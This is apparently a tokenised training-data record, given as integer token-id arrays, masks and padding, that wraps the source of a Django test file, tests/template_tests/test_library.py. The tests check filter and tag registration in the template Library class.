7849,
769,
446,
370,
2198,
445,
1625,
267,
5800,
26,
12869,
14,
957,
15,
57,
2158,
771,
15,
57,
2158,
771,
15,
6582,
15,
4133,
15,
2164,
63,
1548,
15,
89,
2158,
771,
773,
15,
1018,
14,
647,
272,
408,
272,
367,
284,
315,
2338,
8,
16,
304,
267,
340,
440,
14459,
59,
73,
2189,
288,
746,
10852,
267,
1995,
14459,
59,
73,
61,
199,
199,
318,
664,
63,
266,
385,
576,
63,
1861,
837,
272,
408,
1767,
2403,
367,
1565,
385,
576,
4079,
641,
655,
433,
293,
434,
1750,
272,
408,
272,
1565,
385,
576,
63,
1861,
275,
747,
14,
2314,
14,
362,
360,
52,
1608,
3998,
63,
6351,
358,
272,
340,
440,
1565,
385,
576,
63,
1861,
26,
267,
1565,
385,
576,
63,
1861,
275,
11541,
4805,
272,
372,
1565,
385,
576,
63,
1861,
199,
199,
318,
664,
63,
744,
332,
2442,
8,
1733,
63,
515,
15637,
735,
272,
408,
2372,
221,
744,
332,
2442,
2429,
272,
408,
272,
340,
984,
14,
3246,
508,
283,
2676,
708,
356,
267,
1973,
63,
354,
275,
283,
773,
744,
332,
2442,
11810,
7,
267,
485,
515,
275,
747,
14,
2314,
459,
3243,
418,
267,
367,
485,
694,
315,
18179,
283,
2676,
708,
297,
11541,
7,
2360,
11541,
60,
2676,
708,
2565,
288,
2388,
63,
515,
275,
747,
14,
515,
14,
904,
8,
1733,
63,
515,
12,
485,
694,
9,
288,
747,
14,
2314,
459,
3243,
418,
275,
485,
515,
435,
747,
14,
17843,
435,
2388,
63,
515,
288,
1973,
63,
515,
275,
2342,
63,
4342,
8,
773,
63,
354,
9,
288,
340,
440,
1973,
63,
515,
365,
488,
26,
355,
1973,
63,
515,
275,
747,
14,
515,
14,
11091,
8,
773,
63,
515,
9,
355,
870,
1689,
4214,
401,
1973,
63,
515,
9,
355,
2059,
272,
587,
26,
267,
1973,
63,
354,
275,
283,
773,
744,
332,
2442,
14,
1152,
14,
19,
7,
267,
1973,
63,
515,
275,
25764,
3243,
435,
283,
773,
744,
332,
2442,
14,
1152,
14,
19,
14,
16,
14,
19,
7,
339,
862,
26,
267,
221,
744,
332,
2442,
275,
5577,
14,
2866,
914,
14,
6200,
7424,
8,
773,
63,
354,
9,
272,
871,
6440,
26,
267,
862,
26,
288,
221,
744,
332,
2442,
275,
5577,
14,
2866,
914,
14,
6200,
7424,
8,
773,
63,
515,
9,
267,
871,
6440,
26,
288,
870,
360,
19236,
402,
450,
83,
3405,
13698,
450,
1973,
63,
354,
9,
288,
870,
360,
19236,
402,
450,
83,
3405,
13698,
450,
1973,
63,
515,
9,
288,
372,
339,
2288,
15945,
272,
221,
744,
332,
2442,
14,
6301,
385,
3353,
14,
9990,
275,
5577,
14,
67,
63,
1560,
63,
80,
272,
221,
744,
332,
2442,
14,
6301,
385,
3353,
14,
10025,
275,
942,
272,
15945,
275,
221,
744,
332,
2442,
14,
6301,
385,
3353,
342,
2286,
1021,
485,
6301,
385,
1563,
3735,
8,
9798,
14,
10766,
304,
986,
272,
5773,
385,
1563,
3735,
275,
5577,
14,
11260,
1547,
6301,
385,
1563,
3735,
9,
2286,
221,
744,
332,
2442,
14,
6301,
385,
1563,
1282,
948,
622,
14,
9990,
275,
5773,
385,
1563,
3735,
2286,
221,
744,
332,
2442,
14,
6301,
385,
1563,
3735,
5392,
14,
9990,
275,
488,
221,
327,
2309,
272,
221,
744,
332,
2442,
14,
6301,
385,
1563,
3735,
5392,
14,
10025,
275,
359,
6301,
385,
1563,
3735,
61,
2286,
221,
744,
332,
2442,
14,
6301,
385,
1563,
3735,
9346,
19,
14,
10025,
275,
359,
6301,
385,
1563,
3735,
12,
5644,
5577,
14,
67,
63,
1560,
63,
80,
12,
221,
5644,
5577,
14,
67,
63,
1560,
63,
80,
61,
2286,
221,
744,
332,
2442,
14,
6301,
385,
1563,
3735,
1084,
3491,
14,
9990,
275,
488,
272,
221,
744,
332,
2442,
14
] |
[
2647,
15,
1393,
15,
1548,
199,
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
199,
624,
7424,
543,
7249,
4048,
370,
221,
744,
332,
2442,
199,
624,
199,
199,
363,
2502,
363,
275,
283,
16911,
621,
1488,
324,
771,
73,
7,
199,
363,
1023,
363,
275,
283,
16,
14,
17,
7,
199,
363,
602,
363,
275,
283,
7806,
14,
966,
7,
199,
199,
646,
747,
199,
646,
984,
199,
646,
5577,
199,
504,
5577,
14,
1974,
492,
2342,
63,
4342,
199,
504,
7975,
492,
2338,
199,
199,
32119,
275,
1994,
2647,
15,
1832,
15,
773,
4805,
199,
4612,
275,
2125,
199,
199,
3,
13930,
10331,
25769,
20400,
83,
199,
50,
1193,
275,
788,
50,
1193,
63,
8475,
297,
283,
50,
1193,
63,
4014,
33,
297,
283,
50,
1193,
63,
3876,
6174,
297,
283,
50,
1193,
63,
5172,
297,
283,
50,
1193,
63,
10527,
418,
199,
199,
3,
3276,
3240,
71,
3117,
4900,
83,
199,
48,
4029,
275,
788,
48,
4029,
63,
3100,
36,
63,
10452,
297,
283,
48,
4029,
63,
13883,
63,
3100,
36,
297,
283,
48,
4029,
63,
13883,
63,
10452,
297,
283,
48,
4029,
63,
13883,
297,
199,
7,
48,
4029,
63,
16425,
63,
21436,
297,
283,
48,
4029,
63,
16425,
63,
8475,
63,
8851,
63,
3876,
297,
283,
48,
4029,
63,
16425,
63,
8475,
297,
199,
7,
48,
4029,
63,
16425,
63,
6174,
297,
283,
48,
4029,
63,
16425,
63,
5172,
297,
283,
48,
4029,
63,
31749,
906,
63,
5172,
297,
283,
48,
4029,
63,
16425,
63,
5901,
297,
199,
7,
48,
4029,
63,
51,
23354,
63,
3876,
297,
283,
48,
4029,
63,
51,
23354,
63,
3876,
63,
3100,
36,
418,
199,
199,
8,
48,
4029,
63,
3100,
36,
63,
10452,
12,
510,
4029,
63,
13883,
63,
3100,
36,
12,
510,
4029,
63,
13883,
63,
10452,
12,
510,
4029,
63,
13883,
12,
510,
4029,
63,
16425,
63,
21436,
12,
199,
510,
4029,
63,
16425,
63,
8475,
63,
8851,
63,
3876,
12,
510,
4029,
63,
16425,
63,
8475,
12,
510,
4029,
63,
16425,
63,
6174,
12,
199,
510,
4029,
63,
16425,
63,
5172,
12,
510,
4029,
63,
31749,
906,
63,
5172,
12,
510,
4029,
63,
16425,
63,
5901,
12,
510,
4029,
63,
51,
23354,
63,
3876,
12,
199,
510,
4029,
63,
51,
23354,
63,
3876,
63,
3100,
36,
12,
510,
4029,
63,
8760,
9,
275,
2341,
8,
9798,
14,
67,
63,
442,
12,
4945,
8,
1079,
430,
199,
199,
318,
2740,
63,
4695,
63,
513,
8,
10265,
304,
272,
408,
25769,
367,
7849,
769,
446,
370,
2198,
445,
1625,
267,
5800,
26,
12869,
14,
957,
15,
57,
2158,
771,
15,
57,
2158,
771,
15,
6582,
15,
4133,
15,
2164,
63,
1548,
15,
89,
2158,
771,
773,
15,
1018,
14,
647,
272,
408,
272,
367,
284,
315,
2338,
8,
16,
304,
267,
340,
440,
14459,
59,
73,
2189,
288,
746,
10852,
267,
1995,
14459,
59,
73,
61,
199,
199,
318,
664,
63,
266,
385,
576,
63,
1861,
837,
272,
408,
1767,
2403,
367,
1565,
385,
576,
4079,
641,
655,
433,
293,
434,
1750,
272,
408,
272,
1565,
385,
576,
63,
1861,
275,
747,
14,
2314,
14,
362,
360,
52,
1608,
3998,
63,
6351,
358,
272,
340,
440,
1565,
385,
576,
63,
1861,
26,
267,
1565,
385,
576,
63,
1861,
275,
11541,
4805,
272,
372,
1565,
385,
576,
63,
1861,
199,
199,
318,
664,
63,
744,
332,
2442,
8,
1733,
63,
515,
15637,
735,
272,
408,
2372,
221,
744,
332,
2442,
2429,
272,
408,
272,
340,
984,
14,
3246,
508,
283,
2676,
708,
356,
267,
1973,
63,
354,
275,
283,
773,
744,
332,
2442,
11810,
7,
267,
485,
515,
275,
747,
14,
2314,
459,
3243,
418,
267,
367,
485,
694,
315,
18179,
283,
2676,
708,
297,
11541,
7,
2360,
11541,
60,
2676,
708,
2565,
288,
2388,
63,
515,
275,
747,
14,
515,
14,
904,
8,
1733,
63,
515,
12,
485,
694,
9,
288,
747,
14,
2314,
459,
3243,
418,
275,
485,
515,
435,
747,
14,
17843,
435,
2388,
63,
515,
288,
1973,
63,
515,
275,
2342,
63,
4342,
8,
773,
63,
354,
9,
288,
340,
440,
1973,
63,
515,
365,
488,
26,
355,
1973,
63,
515,
275,
747,
14,
515,
14,
11091,
8,
773,
63,
515,
9,
355,
870,
1689,
4214,
401,
1973,
63,
515,
9,
355,
2059,
272,
587,
26,
267,
1973,
63,
354,
275,
283,
773,
744,
332,
2442,
14,
1152,
14,
19,
7,
267,
1973,
63,
515,
275,
25764,
3243,
435,
283,
773,
744,
332,
2442,
14,
1152,
14,
19,
14,
16,
14,
19,
7,
339,
862,
26,
267,
221,
744,
332,
2442,
275,
5577,
14,
2866,
914,
14,
6200,
7424,
8,
773,
63,
354,
9,
272,
871,
6440,
26,
267,
862,
26,
288,
221,
744,
332,
2442,
275,
5577,
14,
2866,
914,
14,
6200,
7424,
8,
773,
63,
515,
9,
267,
871,
6440,
26,
288,
870,
360,
19236,
402,
450,
83,
3405,
13698,
450,
1973,
63,
354,
9,
288,
870,
360,
19236,
402,
450,
83,
3405,
13698,
450,
1973,
63,
515,
9,
288,
372,
339,
2288,
15945,
272,
221,
744,
332,
2442,
14,
6301,
385,
3353,
14,
9990,
275,
5577,
14,
67,
63,
1560,
63,
80,
272,
221,
744,
332,
2442,
14,
6301,
385,
3353,
14,
10025,
275,
942,
272,
15945,
275,
221,
744,
332,
2442,
14,
6301,
385,
3353,
342,
2286,
1021,
485,
6301,
385,
1563,
3735,
8,
9798,
14,
10766,
304,
986,
272,
5773,
385,
1563,
3735,
275,
5577,
14,
11260,
1547,
6301,
385,
1563,
3735,
9,
2286,
221,
744,
332,
2442,
14,
6301,
385,
1563,
1282,
948,
622,
14,
9990,
275,
5773,
385,
1563,
3735,
2286,
221,
744,
332,
2442,
14,
6301,
385,
1563,
3735,
5392,
14,
9990,
275,
488,
221,
327,
2309,
272,
221,
744,
332,
2442,
14,
6301,
385,
1563,
3735,
5392,
14,
10025,
275,
359,
6301,
385,
1563,
3735,
61,
2286,
221,
744,
332,
2442,
14,
6301,
385,
1563,
3735,
9346,
19,
14,
10025,
275,
359,
6301,
385,
1563,
3735,
12,
5644,
5577,
14,
67,
63,
1560,
63,
80,
12,
221,
5644,
5577,
14,
67,
63,
1560,
63,
80,
61,
2286,
221,
744,
332,
2442,
14,
6301,
385,
1563,
3735,
1084,
3491,
14,
9990,
275,
488,
272,
221,
744,
332,
2442,
14,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
nju520/django
|
tests/template_tests/test_library.py
|
413
|
3753
|
from django.template import Library
from django.template.base import Node
from django.test import TestCase
class FilterRegistrationTests(TestCase):
def setUp(self):
self.library = Library()
def test_filter(self):
@self.library.filter
def func():
return ''
self.assertEqual(self.library.filters['func'], func)
def test_filter_parens(self):
@self.library.filter()
def func():
return ''
self.assertEqual(self.library.filters['func'], func)
def test_filter_name_arg(self):
@self.library.filter('name')
def func():
return ''
self.assertEqual(self.library.filters['name'], func)
def test_filter_name_kwarg(self):
@self.library.filter(name='name')
def func():
return ''
self.assertEqual(self.library.filters['name'], func)
def test_filter_call(self):
def func():
return ''
self.library.filter('name', func)
self.assertEqual(self.library.filters['name'], func)
def test_filter_invalid(self):
msg = "Unsupported arguments to Library.filter: (None, '')"
with self.assertRaisesMessage(ValueError, msg):
self.library.filter(None, '')
class InclusionTagRegistrationTests(TestCase):
def setUp(self):
self.library = Library()
def test_inclusion_tag(self):
@self.library.inclusion_tag('template.html')
def func():
return ''
self.assertIn('func', self.library.tags)
def test_inclusion_tag_name(self):
@self.library.inclusion_tag('template.html', name='name')
def func():
return ''
self.assertIn('name', self.library.tags)
class SimpleTagRegistrationTests(TestCase):
def setUp(self):
self.library = Library()
def test_simple_tag(self):
@self.library.simple_tag
def func():
return ''
self.assertIn('func', self.library.tags)
def test_simple_tag_parens(self):
@self.library.simple_tag()
def func():
return ''
self.assertIn('func', self.library.tags)
def test_simple_tag_name_kwarg(self):
@self.library.simple_tag(name='name')
def func():
return ''
self.assertIn('name', self.library.tags)
def test_simple_tag_invalid(self):
msg = "Invalid arguments provided to simple_tag"
with self.assertRaisesMessage(ValueError, msg):
self.library.simple_tag('invalid')
class TagRegistrationTests(TestCase):
def setUp(self):
self.library = Library()
def test_tag(self):
@self.library.tag
def func(parser, token):
return Node()
self.assertEqual(self.library.tags['func'], func)
def test_tag_parens(self):
@self.library.tag()
def func(parser, token):
return Node()
self.assertEqual(self.library.tags['func'], func)
def test_tag_name_arg(self):
@self.library.tag('name')
def func(parser, token):
return Node()
self.assertEqual(self.library.tags['name'], func)
def test_tag_name_kwarg(self):
@self.library.tag(name='name')
def func(parser, token):
return Node()
self.assertEqual(self.library.tags['name'], func)
def test_tag_call(self):
def func(parser, token):
return Node()
self.library.tag('name', func)
self.assertEqual(self.library.tags['name'], func)
def test_tag_invalid(self):
msg = "Unsupported arguments to Library.tag: (None, '')"
with self.assertRaisesMessage(ValueError, msg):
self.library.tag(None, '')
|
bsd-3-clause
|
[
504,
1639,
14,
1160,
492,
11243,
199,
504,
1639,
14,
1160,
14,
1095,
492,
5013,
199,
504,
1639,
14,
396,
492,
7640,
421,
199,
533,
9388,
11757,
2925,
8,
1746,
304,
339,
347,
3613,
8,
277,
304,
267,
291,
14,
4342,
275,
11243,
342,
339,
347,
511,
63,
1541,
8,
277,
304,
267,
768,
277,
14,
4342,
14,
1541,
267,
347,
2562,
837,
288,
372,
2125,
267,
291,
14,
629,
8,
277,
14,
4342,
14,
4273,
459,
1532,
995,
2562,
9,
339,
347,
511,
63,
1541,
63,
31910,
8,
277,
304,
267,
768,
277,
14,
4342,
14,
1541,
342,
267,
347,
2562,
837,
288,
372,
2125,
267,
291,
14,
629,
8,
277,
14,
4342,
14,
4273,
459,
1532,
995,
2562,
9,
339,
347,
511,
63,
1541,
63,
354,
63,
1273,
8,
277,
304,
267,
768,
277,
14,
4342,
14,
1541,
360,
354,
358,
267,
347,
2562,
837,
288,
372,
2125,
267,
291,
14,
629,
8,
277,
14,
4342,
14,
4273,
459,
354,
995,
2562,
9,
339,
347,
511,
63,
1541,
63,
354,
63,
12745,
8,
277,
304,
267,
768,
277,
14,
4342,
14,
1541,
8,
354,
534,
354,
358,
267,
347,
2562,
837,
288,
372,
2125,
267,
291,
14,
629,
8,
277,
14,
4342,
14,
4273,
459,
354,
995,
2562,
9,
339,
347,
511,
63,
1541,
63,
1250,
8,
277,
304,
267,
347,
2562,
837,
288,
372,
2125,
267,
291,
14,
4342,
14,
1541,
360,
354,
297,
2562,
9,
267,
291,
14,
629,
8,
277,
14,
4342,
14,
4273,
459,
354,
995,
2562,
9,
339,
347,
511,
63,
1541,
63,
3197,
8,
277,
304,
267,
1499,
275,
298,
12647,
2368,
370,
11243,
14,
1541,
26,
334,
403,
12,
4074,
2,
267,
543,
291,
14,
14638,
8,
3393,
12,
1499,
304,
288,
291,
14,
4342,
14,
1541,
8,
403,
12,
4074,
421,
199,
533,
1010,
10248,
1931,
11757,
2925,
8,
1746,
304,
339,
347,
3613,
8,
277,
304,
267,
291,
14,
4342,
275,
11243,
342,
339,
347,
511,
63,
24265,
63,
1450,
8,
277,
304,
267,
768,
277,
14,
4342,
14,
24265,
63,
1450,
360,
1160,
14,
1360,
358,
267,
347,
2562,
837,
288,
372,
2125,
267,
291,
14,
4080,
360,
1532,
297,
291,
14,
4342,
14,
2969,
9,
339,
347,
511,
63,
24265,
63,
1450,
63,
354,
8,
277,
304,
267,
768,
277,
14,
4342,
14,
24265,
63,
1450,
360,
1160,
14,
1360,
297,
536,
534,
354,
358,
267,
347,
2562,
837,
288,
372,
2125,
267,
291,
14,
4080,
360,
354,
297,
291,
14,
4342,
14,
2969,
9,
421,
199,
533,
5870,
1931,
11757,
2925,
8,
1746,
304,
339,
347,
3613,
8,
277,
304,
267,
291,
14,
4342,
275,
11243,
342,
339,
347,
511,
63,
4129,
63,
1450,
8,
277,
304,
267,
768,
277,
14,
4342,
14,
4129,
63,
1450,
267,
347,
2562,
837,
288,
372,
2125,
267,
291,
14,
4080,
360,
1532,
297,
291,
14,
4342,
14,
2969,
9,
339,
347,
511,
63,
4129,
63,
1450,
63,
31910,
8,
277,
304,
267,
768,
277,
14,
4342,
14,
4129,
63,
1450,
342,
267,
347,
2562,
837,
288,
372,
2125,
267,
291,
14,
4080,
360,
1532,
297,
291,
14,
4342,
14,
2969,
9,
339,
347,
511,
63,
4129,
63,
1450,
63,
354,
63,
12745,
8,
277,
304,
267,
768,
277,
14,
4342,
14,
4129,
63,
1450,
8,
354,
534,
354,
358,
267,
347,
2562,
837,
288,
372,
2125,
267,
291,
14,
4080,
360,
354,
297,
291,
14,
4342,
14,
2969,
9,
339,
347,
511,
63,
4129,
63,
1450,
63,
3197,
8,
277,
304,
267,
1499,
275,
298,
3364,
2368,
2741,
370,
3486,
63,
1450,
2,
267,
543,
291,
14,
14638,
8,
3393,
12,
1499,
304,
288,
291,
14,
4342,
14,
4129,
63,
1450,
360,
3197,
358,
421,
199,
533,
8053,
11757,
2925,
8,
1746,
304,
339,
347,
3613,
8,
277,
304,
267,
291,
14,
4342,
275,
11243,
342,
339,
347,
511,
63,
1450,
8,
277,
304,
267,
768,
277,
14,
4342,
14,
1450,
267,
347,
2562,
8,
2087,
12,
1526,
304,
288,
372,
5013,
342,
267,
291,
14,
629,
8,
277,
14,
4342,
14,
2969,
459,
1532,
995,
2562,
9,
339,
347,
511,
63,
1450,
63,
31910,
8,
277,
304,
267,
768,
277,
14,
4342,
14,
1450,
342,
267,
347,
2562,
8,
2087,
12,
1526,
304,
288,
372,
5013,
342,
267,
291,
14,
629,
8,
277,
14,
4342,
14,
2969,
459,
1532,
995,
2562,
9,
339,
347,
511,
63,
1450,
63,
354,
63,
1273,
8,
277,
304,
267,
768,
277,
14,
4342,
14,
1450,
360,
354,
358,
267,
347,
2562,
8,
2087,
12,
1526,
304,
288,
372,
5013,
342,
267,
291,
14,
629,
8,
277,
14,
4342,
14,
2969,
459,
354,
995,
2562,
9,
339,
347,
511,
63,
1450,
63,
354,
63,
12745,
8,
277,
304,
267,
768,
277,
14,
4342,
14,
1450,
8,
354,
534,
354,
358,
267,
347,
2562,
8,
2087,
12,
1526,
304,
288,
372,
5013,
342,
267,
291,
14,
629,
8,
277,
14,
4342,
14,
2969,
459,
354,
995,
2562,
9,
339,
347,
511,
63,
1450,
63,
1250,
8,
277,
304,
267,
347,
2562,
8,
2087,
12,
1526,
304,
288,
372,
5013,
342,
267,
291,
14,
4342,
14,
1450,
360,
354,
297,
2562,
9,
267,
291,
14,
629,
8,
277,
14,
4342,
14,
2969,
459,
354,
995,
2562,
9,
339,
347,
511,
63,
1450,
63,
3197,
8,
277,
304,
267,
1499,
275,
298,
12647,
2368,
370,
11243,
14,
1450,
26,
334,
403,
12,
4074,
2,
267,
543,
291,
14,
14638,
8,
3393,
12,
1499,
304,
288,
291,
14,
4342,
14,
1450,
8,
403,
12,
4074,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
1639,
14,
1160,
492,
11243,
199,
504,
1639,
14,
1160,
14,
1095,
492,
5013,
199,
504,
1639,
14,
396,
492,
7640,
421,
199,
533,
9388,
11757,
2925,
8,
1746,
304,
339,
347,
3613,
8,
277,
304,
267,
291,
14,
4342,
275,
11243,
342,
339,
347,
511,
63,
1541,
8,
277,
304,
267,
768,
277,
14,
4342,
14,
1541,
267,
347,
2562,
837,
288,
372,
2125,
267,
291,
14,
629,
8,
277,
14,
4342,
14,
4273,
459,
1532,
995,
2562,
9,
339,
347,
511,
63,
1541,
63,
31910,
8,
277,
304,
267,
768,
277,
14,
4342,
14,
1541,
342,
267,
347,
2562,
837,
288,
372,
2125,
267,
291,
14,
629,
8,
277,
14,
4342,
14,
4273,
459,
1532,
995,
2562,
9,
339,
347,
511,
63,
1541,
63,
354,
63,
1273,
8,
277,
304,
267,
768,
277,
14,
4342,
14,
1541,
360,
354,
358,
267,
347,
2562,
837,
288,
372,
2125,
267,
291,
14,
629,
8,
277,
14,
4342,
14,
4273,
459,
354,
995,
2562,
9,
339,
347,
511,
63,
1541,
63,
354,
63,
12745,
8,
277,
304,
267,
768,
277,
14,
4342,
14,
1541,
8,
354,
534,
354,
358,
267,
347,
2562,
837,
288,
372,
2125,
267,
291,
14,
629,
8,
277,
14,
4342,
14,
4273,
459,
354,
995,
2562,
9,
339,
347,
511,
63,
1541,
63,
1250,
8,
277,
304,
267,
347,
2562,
837,
288,
372,
2125,
267,
291,
14,
4342,
14,
1541,
360,
354,
297,
2562,
9,
267,
291,
14,
629,
8,
277,
14,
4342,
14,
4273,
459,
354,
995,
2562,
9,
339,
347,
511,
63,
1541,
63,
3197,
8,
277,
304,
267,
1499,
275,
298,
12647,
2368,
370,
11243,
14,
1541,
26,
334,
403,
12,
4074,
2,
267,
543,
291,
14,
14638,
8,
3393,
12,
1499,
304,
288,
291,
14,
4342,
14,
1541,
8,
403,
12,
4074,
421,
199,
533,
1010,
10248,
1931,
11757,
2925,
8,
1746,
304,
339,
347,
3613,
8,
277,
304,
267,
291,
14,
4342,
275,
11243,
342,
339,
347,
511,
63,
24265,
63,
1450,
8,
277,
304,
267,
768,
277,
14,
4342,
14,
24265,
63,
1450,
360,
1160,
14,
1360,
358,
267,
347,
2562,
837,
288,
372,
2125,
267,
291,
14,
4080,
360,
1532,
297,
291,
14,
4342,
14,
2969,
9,
339,
347,
511,
63,
24265,
63,
1450,
63,
354,
8,
277,
304,
267,
768,
277,
14,
4342,
14,
24265,
63,
1450,
360,
1160,
14,
1360,
297,
536,
534,
354,
358,
267,
347,
2562,
837,
288,
372,
2125,
267,
291,
14,
4080,
360,
354,
297,
291,
14,
4342,
14,
2969,
9,
421,
199,
533,
5870,
1931,
11757,
2925,
8,
1746,
304,
339,
347,
3613,
8,
277,
304,
267,
291,
14,
4342,
275,
11243,
342,
339,
347,
511,
63,
4129,
63,
1450,
8,
277,
304,
267,
768,
277,
14,
4342,
14,
4129,
63,
1450,
267,
347,
2562,
837,
288,
372,
2125,
267,
291,
14,
4080,
360,
1532,
297,
291,
14,
4342,
14,
2969,
9,
339,
347,
511,
63,
4129,
63,
1450,
63,
31910,
8,
277,
304,
267,
768,
277,
14,
4342,
14,
4129,
63,
1450,
342,
267,
347,
2562,
837,
288,
372,
2125,
267,
291,
14,
4080,
360,
1532,
297,
291,
14,
4342,
14,
2969,
9,
339,
347,
511,
63,
4129,
63,
1450,
63,
354,
63,
12745,
8,
277,
304,
267,
768,
277,
14,
4342,
14,
4129,
63,
1450,
8,
354,
534,
354,
358,
267,
347,
2562,
837,
288,
372,
2125,
267,
291,
14,
4080,
360,
354,
297,
291,
14,
4342,
14,
2969,
9,
339,
347,
511,
63,
4129,
63,
1450,
63,
3197,
8,
277,
304,
267,
1499,
275,
298,
3364,
2368,
2741,
370,
3486,
63,
1450,
2,
267,
543,
291,
14,
14638,
8,
3393,
12,
1499,
304,
288,
291,
14,
4342,
14,
4129,
63,
1450,
360,
3197,
358,
421,
199,
533,
8053,
11757,
2925,
8,
1746,
304,
339,
347,
3613,
8,
277,
304,
267,
291,
14,
4342,
275,
11243,
342,
339,
347,
511,
63,
1450,
8,
277,
304,
267,
768,
277,
14,
4342,
14,
1450,
267,
347,
2562,
8,
2087,
12,
1526,
304,
288,
372,
5013,
342,
267,
291,
14,
629,
8,
277,
14,
4342,
14,
2969,
459,
1532,
995,
2562,
9,
339,
347,
511,
63,
1450,
63,
31910,
8,
277,
304,
267,
768,
277,
14,
4342,
14,
1450,
342,
267,
347,
2562,
8,
2087,
12,
1526,
304,
288,
372,
5013,
342,
267,
291,
14,
629,
8,
277,
14,
4342,
14,
2969,
459,
1532,
995,
2562,
9,
339,
347,
511,
63,
1450,
63,
354,
63,
1273,
8,
277,
304,
267,
768,
277,
14,
4342,
14,
1450,
360,
354,
358,
267,
347,
2562,
8,
2087,
12,
1526,
304,
288,
372,
5013,
342,
267,
291,
14,
629,
8,
277,
14,
4342,
14,
2969,
459,
354,
995,
2562,
9,
339,
347,
511,
63,
1450,
63,
354,
63,
12745,
8,
277,
304,
267,
768,
277,
14,
4342,
14,
1450,
8,
354,
534,
354,
358,
267,
347,
2562,
8,
2087,
12,
1526,
304,
288,
372,
5013,
342,
267,
291,
14,
629,
8,
277,
14,
4342,
14,
2969,
459,
354,
995,
2562,
9,
339,
347,
511,
63,
1450,
63,
1250,
8,
277,
304,
267,
347,
2562,
8,
2087,
12,
1526,
304,
288,
372,
5013,
342,
267,
291,
14,
4342,
14,
1450,
360,
354,
297,
2562,
9,
267,
291,
14,
629,
8,
277,
14,
4342,
14,
2969,
459,
354,
995,
2562,
9,
339,
347,
511,
63,
1450,
63,
3197,
8,
277,
304,
267,
1499,
275,
298,
12647,
2368,
370,
11243,
14,
1450,
26,
334,
403,
12,
4074,
2,
267,
543,
291,
14,
14638,
8,
3393,
12,
1499,
304,
288,
291,
14,
4342,
14,
1450,
8,
403,
12,
4074,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
